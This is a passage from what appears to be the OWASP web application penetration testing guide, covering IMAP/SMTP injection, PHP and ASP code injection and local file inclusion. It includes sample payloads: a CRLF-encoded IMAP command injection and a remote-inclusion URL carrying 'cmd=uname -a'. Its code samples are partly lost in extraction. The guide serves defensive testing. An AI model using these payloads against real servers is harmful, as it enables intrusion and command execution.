4.0

142
Web Application Penetration Testing
where:
Header = 4791 BODY[HEADER]
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791
Result Expected:
• Arbitrary IMAP/SMTP command injection
References
Whitepapers
• RFC 0821 “Simple Mail Transfer Protocol”.
• RFC 3501 “Internet Message Access Protocol - Version 4rev1”.
• Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting
Hidden Mail Servers” - http://www.webappsec.org/projects/
articles/121106.pdf
Testing for Code Injection
(OTG-INPVAL-012)
Summary
This section describes how a tester can check if it is possible to
enter code as input on a web page and have it executed by the
web server.
In Code Injection testing, a tester submits input that is processed
by the web server as dynamic code or as an included file. These
tests can target various server-side scripting engines, e.g.., ASP
or PHP. Proper input validation and secure coding practices need
to be employed to protect against these attacks.
How to Test
Black Box testing
Testing for PHP Injection vulnerabilities
Using the querystring, the tester can inject code (in this example,
a malicious URL) to be processed as part of the included file:
Result Expected:
http: /www.example.com/uptime.php?pin=http: /www.
example2.com/packx1/cs.jpg?&cmd=uname%20-a
The malicious URL is accepted as a parameter for the PHP page,
which will later use the value in an included file.
Gray Box testing
Testing for ASP Code Injection vulnerabilities
Examine ASP code for user input used in execution functions.
Can the user enter commands into the Data input field? Here, the
ASP code will save the input to a file and then execute it:
)))
References
• Security Focus - http://www.securityfocus.com
• Insecure.org - http://www.insecure.org
• Wikipedia - http://www.wikipedia.org
• Reviewing Code for OS Injection
Testing for Local File Inclusion
Summary
The File Inclusion vulnerability allows an attacker to include a file,
usually exploiting a “dynamic file inclusion” mechanisms implemented
in the target application. The vulnerability occurs due to
the use of user-supplied input without proper validation.
This can lead to something as outputting the contents of the file,
but depending on the severity, it can also lead to:
• Code execution on the web server
• Code execution on the client-side such as JavaScript which can
lead to other attacks such as cross site scripting (XSS)
• Denial of Service (DoS)
• Sensitive Information Disclosure
Local File Inclusion (also known as LFI) is the process of including
files, that are already locally present on the server, through the
exploiting of vulnerable inclusion procedures implemented in the
application. This vulnerability occurs, for example, when a page
receives, as input, the path to the file that has to be included and
this input is not properly sanitized, allowing directory traversal
characters (such as dot-dot-slash) to be injected. Although
most examples point to vulnerable PHP scripts, we should keep
in mind that it is also common in other technologies such as JSP,
ASP and others.
How to Test
Since LFI occurs when paths passed to “include” statements are
not properly sanitized, in a blackbox testing approach, we should
look for scripts which take filenames as parameters.
Consider the following example:
http: /vulnerable_host/preview.php?file=example.html
This looks as a perfect place to try for LFI. If an attacker is lucky
enough, and instead of selecting the appropriate page from the